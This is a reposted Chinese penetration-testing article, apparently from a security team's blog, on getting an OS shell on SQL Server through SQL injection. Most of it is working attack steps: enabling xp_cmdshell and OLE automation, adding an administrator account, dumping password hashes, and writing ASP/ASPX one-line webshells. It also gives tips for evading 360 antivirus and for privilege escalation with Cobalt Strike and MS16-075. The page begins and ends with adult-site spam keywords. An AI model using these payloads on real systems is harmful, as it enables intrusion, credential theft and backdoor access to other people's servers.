在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

sql server執行os-shell

jf_vLt34KHi ? 來源:Tide安全團隊 ? 作者:Tide安全團隊 ? 2022-10-24 17:42 ? 次閱讀

1 sql server執行os-shell

條件:數據庫權限必須是dba權限可利用sql-shll進行命令執行,部分常用ql語句:

查看版本:SELECT @@version
查看連接用戶:
SELECTORIGINAL_LOGIN(),APP_NAME(),CONNECTIONPROPERTY('CLIENT_NET_ADDRESS'),CONNECTIONPROPERTY('PROTOCOL_TYPE')
查詢所有數據庫名稱
selectnamefrommaster.dbo.sysdatabases;
查看用戶hash:
selectname,sys.fn_varbintohexstr(password_hash)fromsys.sql_logins
查看數據庫賬號密碼:
selectname,sys.fn_varbintohexstr(password_hash)frommaster.sys.sql_logins;


查看數據庫中表名:

SELECTSysObjects.nameASTablenameFROMsysobjectsWHERExtype='U'andsysstat<200

exec?xp_dirtree?'c:'????????#?列出所有c:文件、目錄、子目錄exec?xp_dirtree?'c:',1??????#?只列c:目錄
exec?xp_dirtree?'c:',1,1????#?列c:目錄、文件
exec?xp_subdirs?'C:';???????#?只列c:目錄
select?is_srvrolemember('sysadmin')?#?判斷是否是SA權限
select?is_member('db_owner')????????#?判斷是否是db_owner權限
select?is_srvrolemember('public')???#?判斷是否是public權限
創建用戶:
exec?master..xp_cmdshell?"net?user?test12?123.com?add"

exec?master..xp_cmdshell?"net?localgroup?administrators?test12?add"

exec?master..xp_cmdshell?"net?user?test12"
讀取文檔內容
create?table?files(line?varchar(1024))

bulk?insert??files?from?'C:inetpubaa.asp'

select?*?from?files

5f740008-537d-11ed-a3b6-dac502259ad0.png


默認新建的用戶只有public權限, sqlserver數據庫進行os-shell執行,主要是利用開啟xp_cmdshell進行命令執行,通過命令執行查看,返回結果為1,說明是存在xp_cmdshell,該命令只能證明是否存在xp_cmdshell,并不能證明可執行xp_cmdshell

selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'
5fbea392-537d-11ed-a3b6-dac502259ad0.png

1.1針對sqlserver2008測試

1.1 當前用戶不是dba

在當前用戶不為dba情況,利用sqlmap執行os-shell,提示如下:

5ffef44c-537d-11ed-a3b6-dac502259ad0.png


非dba權限的用戶即使在開啟xpcmdshell的情況下也無法進行命令執行,提示沒有權限:

603d00ca-537d-11ed-a3b6-dac502259ad0.png


dba權限在未開啟cmdshell情況下執行命令提示如下:當非dba權限嘗試開啟cmdshell時提示沒有該操作權限:

60659904-537d-11ed-a3b6-dac502259ad0.png


所以這就是為什么在我們發現sql注入的時候,如果當前用戶不是dba權限的情況下無法進行命令執行。

1.2 當前用戶為dba

在進行注入時,如果當前用戶為dba,可嘗試利用如下命令手動開啟xpcmd_shell

EXECsp_configure'showadvancedoptions',1;
RECONFIGURE;
EXECsp_configure'xp_cmdshell',1;
RECONFIGURE;

接下來分析下sqlmap如何去檢測和開啟xp_cmdshell,通過抓取數據包發現,開啟cmdshell命令如下:

;EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--

當嘗試利用os-shell無法開啟時,可嘗試利用sql-shell開啟,xpcmd_shell,本次在測試時發現,直接在sql-shell中執行上述4條開啟的語句無法開啟成功,可嘗試拼接sql語句進行開啟

selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell';EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--
查詢語句為查看xpcmd_shell組件的命令,執行語句后返回結果1,即為查詢成功:

607de8e2-537d-11ed-a3b6-dac502259ad0.png


判斷是否存在站庫分離:

selecthost_name();//主機名
select@@servername;//服務器名
//如果相同則代表數據庫和web在同一臺機器上面
執行后發現返回的服務器名稱相同,可見未進行站庫分離,如下圖:

6099d7f0-537d-11ed-a3b6-dac502259ad0.png


即使主機上安裝有360等安全設備,執行該命令后,也可以將xpcmd_shell組件開啟,通過測試發現,主機上殺毒軟件攔截只有在調用xpcmd_shell進行命令執行時才會進行攔截

60b32ac0-537d-11ed-a3b6-dac502259ad0.png

1.3 xpcmd_shell為什么無法執行命令

在沒有防護的情況下,可利用sqlmap正常開啟xpcmd_shell進行命令執行,但是很多情況下會發現 無法進行命令執行,sqlmap提示如下:

60c98db0-537d-11ed-a3b6-dac502259ad0.png


此時可能原因是對服務器上安裝有安全軟件,本次測試在測試環境中安全了360安全軟件,可在調用xpcmd_shell組件時,被安全軟件攔截

60f1cb9a-537d-11ed-a3b6-dac502259ad0.png


思路一:如果在已知sqlserver賬戶密碼的情況下,利用navicat連接數據庫進行手動寫入shell:開啟sp_OACreate組件

EXECsp_configure'showadvancedoptions',1;
RECONFIGUREWITHOVERRIDE;
EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;
EXECsp_configure'showadvancedoptions',0;

利用文件存儲先寫入文件:

declare@oint,@fint,@tint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:inetpubaa.asp',1
exec@ret=sp_oamethod@f,'writeline',NULL,'<%execute(request("a"))%>'
6128e1ac-537d-11ed-a3b6-dac502259ad0.png
可成功在c盤inetpub路徑下寫入aa.asp文件,shell的寫入路徑可利用execute master..xp_dirtree命令進行查找
executemaster..xp_dirtree'c:/inetpub/test/',1,1

6159f8a0-537d-11ed-a3b6-dac502259ad0.png


利用上述方法的前提是在已經知道sqlsever數據庫的的管理賬號密碼,可利用--passwords 參數查看。思路二:假如未能成功登錄,可先通過查看網站路徑,在寫入shell方式,步驟如下:1、新建tmp表格,并將master..xp_dirtree的存儲結果保存到表格中,命令如下:

CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:',1,1;
可在sql-shell中執行,執行效果如下:
617a9218-537d-11ed-a3b6-dac502259ad0.png

也可通過注入點直接執行,執行效果如下:

61abaf92-537d-11ed-a3b6-dac502259ad0.png

直接在sql-shell中執行命令查看結果:select * from test.tmp

61c77682-537d-11ed-a3b6-dac502259ad0.png

可發現存在inetpub目錄,接著在查看改目錄下文件,為了防止目錄過多,可嘗試刪除之前tmp在重新表格,存儲新目錄下的數據,刪除表格直接執行drop table tmp,可在利用select 查詢重新確定下是否刪除成功。新建表格命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:/inetpub/',1,1;
62229dfa-537d-11ed-a3b6-dac502259ad0.png

在用select命令進行查看,

6263f4b2-537d-11ed-a3b6-dac502259ad0.png

利用該方法慢慢找到網站的路徑,可能就是比較慢,通過測試發現該種方法是不會被主機上的殺軟攔截的。找到根目錄后用Scripting.FileSystemObject中CreateTextFile和WriteLine來實現寫入webshell,sql-shell執行命令如下,前提時先開啟sp_OACreate,開啟腳本如下:
EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;

寫入shell腳本:

declare@fint,@gint;execsp_oacreate'Scripting.FileSystemObject',@foutput;EXECSP_OAMETHOD@f,'CreateTextFile',@fOUTPUT,'c:inetpub	est	est.aspx',1;EXECsp_oamethod@f,'WriteLine',null,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可成功寫入一句話木馬,如下圖:

6283280a-537d-11ed-a3b6-dac502259ad0.png
利用蟻劍可成功連接shell
62a9611e-537d-11ed-a3b6-dac502259ad0.png

只是此時權限較低,是iis權限需要進行進一步提權。在進行提權時系統安裝360可能不能成功,此時可嘗試低權限上線cs,然后利用cs提權,需要進行360繞過,也可采用sqlserver的sqlps.exe文件進行命令執行,不管時利用哪種方式,此時考察的就是免殺能力了。

1.2 sqlserver 2012測試

之前驗證了sqlserver 2008如何通過sql注入獲取系統shell,主要是通過調用xpcmd_shell,但是當服務器上存在殺毒軟件時無法進行開啟,此時可嘗試sql-shell,尋找網站目錄,然后寫入一句話木馬的方式,只是寫入的shell權限比較低,接下來嘗試利用sqlserver2012進行測試。

1.2.1 無殺軟執行xpcmd_shell

sqlserver2012默認cpcmd_shell也是關閉的,當服務器主機不存在殺軟時,可直接執行os-shell,進行命令執行。

62c63f14-537d-11ed-a3b6-dac502259ad0.png

此時可通過執行pwershell直接上線cs,但是此時上線的權限為sqlserver,可通過ms16-075進行提權到system,然后在進行后滲透即可,在不存在殺軟的情況下相對比較順利,接下來看下如何繞過殺軟上傳shell。
630ff398-537d-11ed-a3b6-dac502259ad0.png

1.2.2繞過殺軟上傳shell

主機上安裝360,直接通過sqlmap執行os-shell會被攔截,嘗試sql-shell進行命令執行,步驟和2008大致基本相同,先通過xp_dirtree慢慢找到網站路徑,在開啟sp_OACreate,最后寫入shell。

declare@oint,@fint,@tint,@retint;execsp_oacreate'scripting.filesystemobject',@oout;execsp_oamethod@o,'createtextfile',@fout,'e:	est123.asp',1;exec@ret=sp_oamethod@f,'writeline',NULL,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

可嘗試利用判斷是否寫入成功

create table sssss (line varchar(1024));bulk insert  sssss from 'e:	est123.asp';select * from sssss
63aa9434-537d-11ed-a3b6-dac502259ad0.png63d35770-537d-11ed-a3b6-dac502259ad0.png

審核編輯:湯梓紅

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • SQL
    SQL
    +關注

    關注

    1

    文章

    775

    瀏覽量

    44272
  • Server
    +關注

    關注

    0

    文章

    93

    瀏覽量

    24143
  • 數據庫
    +關注

    關注

    7

    文章

    3852

    瀏覽量

    64724
  • Shell
    +關注

    關注

    1

    文章

    366

    瀏覽量

    23474

原文標題:1 sql server執行os-shell

文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    labview連接SQL server方法

    for ODBC Drivers: [Microsoft][ODBC SQL Server Driver][SQL Server]用戶 '(null)' 登錄失敗
    發表于 12-15 16:45

    sql server 2000常用函數大全

    sql server
    發表于 09-28 08:28 ?0次下載

    SQL Server精華(CHM)

    SQL Server精華(CHM)察看與修改DTS包屬性 Microsoft? SQL Server? 2000的數據轉換服務允許您透過「DTS設計器」
    發表于 12-26 14:06 ?215次下載

    SQL Server 2000菜鳥入門

    SQL Server 2000企業版安裝教程(一) SQL Server 2000企業版安裝教程(二) SQL
    發表于 12-26 14:08 ?36次下載

    數據庫與SQL Server 2005教程

    SQL Server Management Studio(可稱為SQL Server集成管理器,簡寫為Management Studio
    發表于 04-10 17:43 ?0次下載

    SQL Server系統概述課程

        本章要點           本章主要介紹:SQL Server 2005的概況
    發表于 04-14 15:54 ?0次下載

    Windows SQL Server 安全檢查列表

    Windows SQL Server 安全檢查列表 1. 確認已經安裝了NT/2000和SQL Server的最新補丁程序,不用說大家應該已經安裝好了,但是我覺得最好還是在這里提醒一
    發表于 01-29 11:13 ?362次閱讀

    數據庫教程之SQL SERVER環境的詳細資料說明

    本文檔的主要內容詳細介紹的是數據庫教程之SQL SERVER環境的詳細資料說明主要內容包括了:1 SQL Server 概述2 SQL
    發表于 12-18 15:07 ?14次下載

    SQL Server 2005數據庫的應用手冊

    SQL Server是基于服務器端的中型的數據庫,可以適合大容量數據的應用,在功能上管理上要比Access要強得多。下面我們以Microsoft SQL Server 2005為例簡單
    發表于 01-10 08:00 ?13次下載
    <b class='flag-5'>SQL</b> <b class='flag-5'>Server</b> 2005數據庫的應用手冊

    SQL的max server memory參數應該如何設置

    本文檔的主要內容詳細介紹的是SQL的max server memory參數應該如何設置。1.選擇“開始/所有程序/Microsoft SQL Server 2005/
    發表于 09-24 16:36 ?6次下載

    LABVIEW與SQL SERVER的連接方法詳細說明

     在用 LABVIEW 進行數據采集分析過程中,一般會用到數據庫。在數據量很大的場合,可考慮使用 SQL SERVER 。下面就介紹 LABVIEW 與 SQL SERVER 的連接方
    發表于 12-24 08:00 ?43次下載
    LABVIEW與<b class='flag-5'>SQL</b> <b class='flag-5'>SERVER</b>的連接方法詳細說明

    基于LABVIEW的SQL Server數據庫操作教程

    基于LABVIEW的SQL Server數據庫操作教程
    發表于 09-13 14:54 ?92次下載

    SQL Server組件有哪些?

    SQL Server組件有哪些?SQL Server數據庫引擎由四個基本組件組成。無論我們的SQL Se
    的頭像 發表于 04-14 16:51 ?1534次閱讀

    mysql和sql server區別

    MySQL和SQL Server是兩種常見的關系型數據庫管理系統(RDBMS),用于存儲和管理數據庫。雖然它們都支持SQL語言,但在其他方面存在一些顯著的區別。以下是MySQL和SQL
    的頭像 發表于 11-21 11:07 ?1617次閱讀

    dbForge Studio For SQL Server:用于有效開發的最佳SQL Server集成開發環境

    dbForge Studio For SQL Server:用于有效開發的最佳SQL Server集成開發環境 SQL編碼助手
    的頭像 發表于 01-16 10:36 ?138次閱讀
    主站蜘蛛池模板: 两性色午夜视频自由成熟的性 | 亚洲欧洲国产精品你懂的 | 欧美色视频超清在线观看 | 亚洲不卡免费视频 | 8888四色奇米在线观看不卡 | 不卡视频一区 | 亚洲大香伊人蕉在人依线 | 天天摸天天操天天干 | 日韩在线三级视频 | 中日韩一级片 | 欧美一级第一免费高清 | 欧美3p精品三区 | 久久久久大香线焦 | 手机在线看片国产 | 一 级 黄 色 片生活片 | 香蕉久久夜色精品国产小说 | 狂野欧美激情性xxxx | 国内自拍网红在综合图区 | 国产视频资源 | 色盈盈| 一级片视频在线观看 | 唐人呦一呦xxxx视频 | 怡红院网址 | 精品久久中文网址 | 国产免费高清福利拍拍拍 | 免费看色视频 | 人人乳乳香蕉大免费 | 日本最黄 | 久久香蕉国产线看观看亚洲片 | 毛茸茸成熟妇女亚洲人 | 久久综合九色综合98一99久久99久 | 三级毛片免费看 | 国产高清亚洲 | 波多野结衣一级毛片 | 乱人伦精品一区二区 | 亚洲 午夜在线一区 | 欧美洲视频在线观看 | 色视频在线观看网站 | 91av免费| 欧美videos 另类 | 激情福利视频 |